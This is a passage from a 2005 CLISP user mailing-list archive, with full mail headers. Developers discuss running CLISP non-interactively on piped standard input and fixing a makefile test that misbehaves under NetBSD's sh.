be compiled before being evaluated, see the "-C" option. -- Sam Steingold (http://www.podval.org/~sds) running w2k MS: our tomorrow's software will run on your tomorrow's HW at today's speed. From sds@gnu.org Tue Nov 01 08:41:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWzC6-0002Yg-TI for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 08:41:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWzC5-00057o-6a for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 08:41:06 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA1GepoZ010642; Tue, 1 Nov 2005 11:40:52 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Juan C. Acosta Guadarrama's message of "Tue, 1 Nov 2005 16:33:25 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 08:41:47 2005 X-Original-Date: Tue, 01 Nov 2005 11:39:54 -0500 > * Juan C.Acosta Guadarrama [2005-11-01 16:33:25 +0100]: > > well, perhaps switch > > -c lispfile ... > > should be changed to another variable name that is not described some > rows bellow. Ie lispfile [argument ..] > > Moreover, at the very same paragraph it reads that "If lispfile is -" > (that's what I call a dash, and in unix it does mean standard input, > although some times double dash) ", the standard input is used instead > of a file" please describe in __DETAIL__ what behavior you expected from "-c -". i.e., what are *standard-input* &c, what is done with the input forms &c. if you manage to come up with something useful, it might get implemented. -- Sam Steingold (http://www.podval.org/~sds) running w2k If abortion is murder, then oral sex is cannibalism. From newton@pingsite.com Tue Nov 01 09:01:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWzW6-0003Yn-Td for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 09:01:46 -0800 Received: from osse2.pingsite.com ([205.216.250.5]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWzVz-0001ye-Iq for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 09:01:41 -0800 Received: from [127.0.0.1] (firebox.pingsite.com [205.216.250.2]) by osse2.pingsite.com (8.11.6/8.11.6) with ESMTP id jA1FKtX14662 for ; Tue, 1 Nov 2005 10:20:55 -0500 Message-ID: <43679F70.10702@pingsite.com> From: Dave Newton User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: non-interactive clisp References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> In-Reply-To: X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 09:02:49 2005 X-Original-Date: Tue, 01 Nov 2005 12:01:36 -0500 Sam Steingold wrote: >where would the compiled forms be written? > > stdout, of course. Then you could... uh... wonder what happened to your xterm. Dave From guadarrama@in.tu-clausthal.de Tue Nov 01 09:27:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWzvG-00056S-9u for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 09:27:46 -0800 Received: from www.parco.org ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWzvE-0000Jr-3n for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 09:27:46 -0800 Received: from [192.168.0.250] (p5486469B.dip.t-dialin.net [84.134.70.155]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id AED6B2E8035 for ; Tue, 1 Nov 2005 18:27:39 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <22348f04fbae6625c80d17b4fabff703@in.tu-clausthal.de> Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama Subject: Re: [clisp-list] Re: non-interactive clisp To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 09:28:37 2005 X-Original-Date: Tue, 1 Nov 2005 18:27:31 +0100 On 1 Nov 2005, at 17:37, Sam Steingold wrote: >> * Juan C.Acosta Guadarrama >> [2005-11-01 15:55:05 +0100]: >> >> On 1 Nov 2005, at 15:29, Sam Steingold wrote: >> >>>> * Juan C.Acosta Guadarrama >>>> [2005-11-01 15:05:32 +0100]: >>>> >>>> On 31 Oct 2005, at 20:00, Sam Steingold wrote: >>>> >>>>>> * Juan C.Acosta Guadarrama >>>>>> [2005-10-31 19:19:20 +0100]: >>>>>> >>>>>> according to the man pages, I may realise it by using switch >>>>>> -c. >>>>> >>>>> where does the man page say that? >>>> >>>> well, it reads: >>>> >>>>>>> -c lispfile ... >>>>>>> Compiles the specified lispfiles to bytecode >>>>>>> (*.fas). >>>>>>> The com- >>>>>>> piled files can then be loaded instead of the >>>>>>> sources to gain >>>>>>> efficiency. >>> >>> yes, so "clisp -c lispfile" will compile the "lispfile". >>> >>> >>>> then, after some other lines it reads: >>>> >>>>>>> lispfile [argument ...] >>>>>>> Loads and executes a lispfile. There will be no >>>>>>> read-eval-print >>>>>>> loop. Before lispfile is loaded, the variable >>>>>>> *args* >>>>>>> will be >>>>>>> bound to a list of strings, representing the >>>>>>> arguments. The >>>>>>> first line of lispfile may start with #!, thus >>>>>>> permitting clisp >>>>>>> to be used as a script interpreter. >> >> Hi! >> >> it reads right here: >> >>>>>>> If lispfile is -, >>>>>>> the stan- >>>>>>> dard input is used instead of a file. >> >> So, >> >> -c - >> >> means: >> >> -c lispfile >> >> where lispfile="-" > > the above line ("lispfile='-' ==> ...") appears only in the "lispfile" > argument section, not "-c" argument section. yes, I know. But when trying: $ echo "(+ 11 99)"|clisp -q STACK depth: 16367 [1]> 110 I receive what I expect, except from my Apache server. Then I tried the "-" option, clearly described (but perhaps not implemented) at the same paragraph we're talking about, and check it out: $ echo "(+ 11 99)"|clisp -q - STACK depth: 16367 what is that for? Indeed, the switch you've given me before is what I expect from the above command, and what I find really useful for web applications: $ echo "(+ 11 99)"|clisp -q -norc STACK depth: 16367 [1]> 110 > at any rate, how do you imagine compilation of standard output? > where would the compiled forms be written? Well, I never meant standard output, but input. Sorry if I made a typo ---I believe I didn't. Thank you all for the discussion. Best regards, Jn > if you want your forms to be compiled before being evaluated, see the > "-C" option. > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > MS: our tomorrow's software will run on your tomorrow's HW at today's > speed. > > > ------------------------------------------------------- > SF.Net email is sponsored by: > Tame your development challenges with Apache's Geronimo App Server. > Download > it for free - -and be entered to win a 42" plasma tv or your very own > Sony(tm)PSP. Click here to play: http://sourceforge.net/geronimo.php > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Tue Nov 01 10:09:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EX0Ze-00078D-N8 for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 10:09:30 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EX0ZX-0001Ur-Tv for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 10:09:27 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA1I951m014713; Tue, 1 Nov 2005 13:09:09 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dave Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43679F70.10702@pingsite.com> (Dave Newton's message of "Tue, 01 Nov 2005 12:01:36 -0500") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> <43679F70.10702@pingsite.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dave Newton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 10:11:31 2005 X-Original-Date: Tue, 01 Nov 2005 13:08:08 -0500 > * Dave Newton [2005-11-01 12:01:36 -0500]: > > Sam Steingold wrote: > >>where would the compiled forms be written? >> > stdout, of course. Then you could... uh... wonder what happened to your > xterm. clisp fas files are plain ascii (line length 79 characters). I don't think this will mess up your xterm. -- Sam Steingold (http://www.podval.org/~sds) running w2k Whether pronounced "leenooks" or "line-uks", it's better than Windows. From sds@gnu.org Tue Nov 01 10:15:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EX0fM-0007PU-3O for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 10:15:24 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EX0fJ-0003wy-Sl for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 10:15:24 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA1IF2LV014912; Tue, 1 Nov 2005 13:15:03 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <22348f04fbae6625c80d17b4fabff703@in.tu-clausthal.de> (Juan C. Acosta Guadarrama's message of "Tue, 1 Nov 2005 18:27:31 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> <22348f04fbae6625c80d17b4fabff703@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 10:16:28 2005 X-Original-Date: Tue, 01 Nov 2005 13:14:05 -0500 > * Juan C.Acosta Guadarrama [2005-11-01 18:27:31 +0100]: > >> the above line ("lispfile='-' ==> ...") appears only in the "lispfile" >> argument section, not "-c" argument section. > > yes, I know. But when trying: > > $ echo "(+ 11 99)"|clisp -q > STACK depth: 16367 BTW, why did you configure "--with-debug"? > [1]> > 110 > > I receive what I expect, except from my Apache server. Then I tried the > "-" option, clearly described (but perhaps not implemented) at the same > paragraph we're talking about, and check it out: > > $ echo "(+ 11 99)"|clisp -q - > STACK depth: 16367 > > what is that for? well, let us think a little bit. what does "echo ... | clisp" do? this makes clisp run the usual REPL (since it is not told otherwise), so CLISP prints the prompt "[1]> ", reads your input "(+ 11 99)", evaluates it, and prints the result "110". what does "echo ... | clisp -" do? "-" is a "script" (aka "lispfile") argument, so there is no REPL, no prompt, and the result is not printed. to get some output, you need to explicitly specify that: $ echo "(print (+ 11 99))"|clisp -q -norc - 110 try several forms in the echo: echo "(setq x 1) (print x) (incf x) (print x)" and pipe it to "clisp" and "clisp -" >> at any rate, how do you imagine compilation of standard output? >> where would the compiled forms be written? I meant "compilation of standard input". -- Sam Steingold (http://www.podval.org/~sds) running w2k Bus error -- driver executed. From pjb@informatimago.com Tue Nov 01 10:26:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EX0qX-0007o0-6l for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 10:26:57 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EX0qU-0006Ty-Ei for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 10:26:57 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id CF0F0585D3; Tue, 1 Nov 2005 19:26:43 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3CCE8585C8; Tue, 1 Nov 2005 19:26:41 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 28EED8868; Tue, 1 Nov 2005 19:26:41 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17255.45921.90781.995814@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: non-interactive clisp In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <17255.10756.953854.749118@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 10:27:27 2005 X-Original-Date: Tue, 1 Nov 2005 19:26:41 +0100 Sam Steingold writes: > > * Pascal Bourguignon [2005-11-01 09:40:36 +0100]: > > > > Sam Steingold writes: > >> instead: > >> > >> $ echo "(+ 11 99)"|clisp -q -norc > >> [1]> > >> 110 > > > > But isn't there a simplier way to avoid the prompt? > > > > result=$(echo "(+ 11 99)"|clisp -ansi -q -norc|grep -v '\[1\]') > > echo $result > > echo "(+ 11 99)"|clisp -q -norc - > > (works only in cvs head - there is a bug in the release) Good. In addition, I just realized that on linux, we can use this with the current version: $ echo "(format t \"~A~%\" (+ 11 99))"|clisp -q -norc /dev/stdin 110 -- __Pascal Bourguignon__ http://www.informatimago.com/ In deep sleep hear sound, Cat vomit hairball somewhere. Will find in morning. From lisp-clisp-list@m.gmane.org Tue Nov 01 11:35:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EX1vB-0002bm-PY for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 11:35:49 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EX1v9-0005cG-Ag for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 11:35:49 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EX1tS-0003Lt-Ug for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 20:34:02 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 01 Nov 2005 20:34:02 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 01 Nov 2005 20:34:02 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 18 Message-ID: <873bmggo3h.fsf@zemdatav.stor.no-ip.org> References: <87irveojrq.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:3PMrB1c++VkH9F+XtLSj+BQVmd8= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CVS build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 11:36:34 2005 X-Original-Date: Tue, 01 Nov 2005 20:33:22 +0100 Sam Steingold writes: > for some reason this does not run i18n/configure. > could you please figure out why? > thanks! The makefile rule for building modules contains test -f $@/configure -a $@/configure -nt $@/config.status This works with bash, but gives incorrect results with NetBSD's sh. Changing this to test -f $@/configure -a "($@/configure -nt $@/config.status)" fixes the problem. Magnus From dimitrios.kapanikis@gmail.com Tue Nov 01 13:17:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EX3Vv-0007hX-IN for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 13:17:51 -0800 Received: from xproxy.gmail.com ([66.249.82.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EX3Vu-0004LJ-0V for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 13:17:51 -0800 Received: by xproxy.gmail.com with SMTP id h29so1542912wxd for ; Tue, 01 Nov 2005 13:17:48 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=C7LocICqNNZ0EMydO1q/NCBYTIVA85L7Em/Ji1/A5AwYGHiD/DR7fQupzwnQnx9y+Hx9zxgq5ztjm+ddr8jKnPwyZSlkgTJsXjNtycf+Iuo1TH6cWUPn7vXf8k5DYmH1RjPi++vWGVlulJA34nMcTeDE+dLqcm0lJ1iDQDdg2j8= Received: by 10.64.232.6 with SMTP id e6mr1392065qbh; Tue, 01 Nov 2005 13:17:48 -0800 (PST) Received: by 10.65.192.2 with HTTP; Tue, 1 Nov 2005 13:17:48 -0800 (PST) Message-ID: <243236a40511011317v2a977c93kd7bf8f5cf8027533@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 13:18:54 2005 X-Original-Date: Tue, 1 Nov 2005 22:17:48 +0100 sorry i could not reply earlier. > >> where is its compilation line? gcc -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I/lib/clisp/linkkit -Dglobal=3D"" -c kivcparser.c -o kivcparser.o > are you really using libm.so? yes, there is libm.a in the /lib folder > is kivcparser.o actually generated? yes, it is From sds@gnu.org Tue Nov 01 14:37:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EX4kr-00033L-KJ for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 14:37:21 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EX4km-0005K0-Jh for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 14:37:19 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA1Mb55L028259 for ; Tue, 1 Nov 2005 17:37:05 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <873bmggo3h.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Tue, 01 Nov 2005 20:33:22 +0100") References: <87irveojrq.fsf@zemdatav.stor.no-ip.org> <873bmggo3h.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: CVS build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 14:38:30 2005 X-Original-Date: Tue, 01 Nov 2005 17:36:08 -0500 > * Magnus Henoch [2005-11-01 20:33:22 +0100]: > > Sam Steingold writes: > >> for some reason this does not run i18n/configure. >> could you please figure out why? >> thanks! > > The makefile rule for building modules contains > > test -f $@/configure -a $@/configure -nt $@/config.status > > This works with bash, but gives incorrect results with NetBSD's sh. > Changing this to > > test -f $@/configure -a "($@/configure -nt $@/config.status)" > > fixes the problem. thanks. I made m4/test.m4 more strict. please try "cvs up" in a couple of hours. -- Sam Steingold (http://www.podval.org/~sds) running w2k Cannot handle the fatal error due to a fatal error in the fatal error handler. From sds@gnu.org Tue Nov 01 14:44:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EX4s6-0003Vn-H9 for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 14:44:50 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EX4s3-00070D-4h for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 14:44:50 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA1MhgJR028566; Tue, 1 Nov 2005 17:43:42 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <243236a40511011317v2a977c93kd7bf8f5cf8027533@mail.gmail.com> (Dimitrios Kapanikis's message of "Tue, 1 Nov 2005 22:17:48 +0100") References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> <243236a40511011317v2a977c93kd7bf8f5cf8027533@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: 